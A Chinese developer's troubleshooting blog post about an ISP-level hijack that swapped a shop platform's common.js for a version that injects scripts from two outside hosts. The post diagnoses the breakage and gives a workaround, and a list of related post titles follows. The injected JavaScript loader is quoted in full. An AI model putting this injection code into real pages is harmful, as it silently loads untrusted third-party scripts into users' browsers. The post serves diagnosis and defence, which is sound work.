偷天换日:网络劫持,网页js被伪装替换。
偷天换日
3月12号石家庄一个客户(后面简称乙方)有几家门店,平台收银(web)有一些功能无法正常使用,平台有上千家门店在使用,到目前为止别的省份都没有此问题。远程协助发现,js日期控件无法正常调用,报js错误。日期插件用的是my97datepicker,用了这么久也没见出过什么问题。
浏览器查看页面加载的js,发现页面本身加载的js中有重复的(随机重复),一个是common.js还有个common.js?145001231。代码中只有common.js。点开common.js?145001231发现代码没问题。再查看common.js。代码如下
try {if (!document.getElementById("mck0")) {var s0 = "http://xxx.xd618.com/resources/js/common.js?" + new Date().getTime(),s1 = "http://8.525cm.com/v2/v.php?id=01";var ar = new Array(2);ar[0] = s0;ar[1] = s1;var h = document.getElementsByTagName('head').item(0);for (var i = 0; i < 2; ++i) {var sc = document.createElement("script");sc.type = "text/javascript";sc.id = "mck" + i;sc.src = ar[i];h.appendChild(sc);}}
} catch(e) {}
看到这就应该明白为什么会有common.js和common.js?145001231。
问题找到了,怎么来的呢,先想到的是乙方操作系统有问题或内网arp欺骗。电话询问客户网络环境,得知这几个门店距离很远,不是在一起;而且每个门店使用的宽带都是单独开通的。电脑系统都是统一安装的。让乙方到隔壁店铺登录下试试,乙方找了隔壁的电脑登录后,远程协助,发现也有这个问题。(难道是运营商那边dns挟持的,感觉不太可能)
这时候已经过去3,4个小时了,好几个门店的收银,和后台进销存无法正常使用。客户那边的经理打电话来,说找了台笔记本,用他们自己的wifi就有这个问题,用移动的4g网络就没问题。那就是网络有问题了,乙方也认同了。当时由于手上还有其他任务要忙,就暂时搁置了。
3月30今天又得知江西南昌有个客服也遇到了同样的问题,发现问题一模一样。一家还能说是个例,第二家的出现需要将问题等级提高了,虽然不是平台的问题,但对于客户来说没法正常使用,必须要解决。
应对方案
1、分析代码。反其道而行,想移除添加的js。
后来发现思路有点偏,替换的代码是直接添加一个script元素,平台中页面加载js是用document.write(<script/>),替换的js影响了原有页面的js加载顺序导致功能无法正常使用。试着在页面js文件引用改为xxx.js?123,试了下没问题了,又尝试改为xxx.js?,发现也可以,临时这么解决,把出问题的几个页面js引用修改了下。(此问题改过观察中)
2、浏览器插件。(这个是下策)
后续思考
问题并没有真正解决,但是可以通过一些方法解决替换js后所带来的加载顺序问题。
可以尝试用
多js打包(还能减少服务器连接次数,提高性能,也要留意下IE和Firefox对同一域名进行请求的并发连接数限制),增加版本号。
js模块化加载(requireJS类组件)。
先写到这吧,此问题还在继续观察中...
偷天换日:网络劫持,网页js被伪装替换。相关推荐
- 网络劫持是什么?网页被篡改劫持怎么修复(终级方案)网页劫持如何修复?
目前我们遇到的网络劫持大多是运营商劫持,也就是http劫持,首先来说说运营商劫持的背景: 中国的网络环境相对复杂,除了电信.联通.移动是比较大的网络接入厂商,此外包含长城宽带.鹏博士.教育网.科技网. ...
- 网络劫持问题都应该如何解决?
如何检测是否存在劫持? 使用IIS7网站监控,进入监控页面,输入你需要检测的网站域名,点击"提交检测",我们可以看到"检测次数"."返回码" ...
- 网络劫持运营商劫持解决办法
怎么检测自己的网站是不是有劫持的情况? iis7网站监控 网站打开速度查询.DNS污染.地区电信劫持等问题检测. 网络劫持最主要的就是运营商层面的劫持.可以说,我们每个人随时随地都在与它打交道. 而运 ...
- 如何防止运营商网络劫持,避免被他人强行插入广告?
主要的网络劫持形式: 近年来流量劫持(运营商网络劫持)频频发生,各种方式也是层出不穷,易维信-EVTrust总结各种网络劫持现象和其带来的危害 1.域名劫持,用户想要访问网站A,域名却被解析到其它地址 ...
- .JS replace方法替换所有字符
今天在js中做替换功能时,发现replace字符替换字符时只替换第一个匹配的字符 为了实现所有字符的替换,我查了下资料可以用正则实现要求 我先看下这个函数的用法 定义和用法 replace() 方法用 ...
- 如何可以快速解决网络劫持
网络劫持的方法随着信息科学技术的不断发展也展现出了达尔文效应,不断地进化,形成了一些更现代化的网络劫持技术,下面给亲们分享一下解决和检测网络劫持的方法. 检测方法:运用iis7网站监控,输入自己的域名 ...
- 怎么可以快速解决网络劫持
网络劫持的方法随着信息科学技术的不断发展也展现出了达尔文效应,不断地进化,形成了一些更现代化的网络劫持技术,下面给亲们分享一下解决和检测网络劫持的方法. 检测办法: iis7网站监控 检查域名是否被墙 ...
- 爬虫网络请求之JS解密一(百度企业信用)
爬虫网络请求之JS解密一(百度企业信用) 前言 反爬策略中最重要的一块领域就是在前端利用JS对数据请求参数进行加密或者数据隐藏(如大众点评的图像位移技术,即使使用代理也是无济于事,必须对JS进行驱动才 ...
- html广告拦截网吧,python模拟网吧浏览器劫持网页弹广告
前一篇写了JS实现的userscript插件往网页里面注入代码,监听键盘获取用户输入的实现,发现userscript插件危险值很高,现在用python模拟下网吧浏览器劫持网页弹广告,警示下自己和喜欢在 ...
最新文章
- 读取jar包资源代码赏析
- 阿里达摩院AI抗疫最新战报:已诊断3万多疑似病例CT影像,准确率96%
- (转)Three challenges you’re going to face when building a chatbot
- uva 10285——Longest Run on a Snowboard
- ARMV8 datasheet学习笔记3:AArch64应用级体系结构之Memory order
- 还来一篇说下json_value 以及 json_query 的应用 (3)
- BootStrap引用
- SQL Server 2005 Beta 2 Service Broker: Stored Procedure acts as a service program
- MySQL的备份与还原
- 代码 设为主页 加入收藏 代码
- JavaWeb之servlet详解(转帖)
- B帧对视频清晰度/码率的影响
- 计算机网络工程用排线架,网络配线架使用和安装说明【图解】
- Tenth season eleventh episode,Ross is Monica‘s first kiss?????the stripper cried?????
- 机器学习-数据科学库 12 美国人口数据分析案例
- sklearn笔记29 线性回归 天猫双十一销量预测
- 回顾过去 展望未来(写给自己)
- 360兼容性问题:教资报名请使用搜狗浏览器(兼容模式)、360浏览器(兼容模式)、QQ浏览器(内核模式请选择:总是使用IE内核)、IE系列浏览器。
- 移动端布局介绍——css像素/物理像素/设备像素比
- f5 会话保持 负载均衡_F5会话保持的理解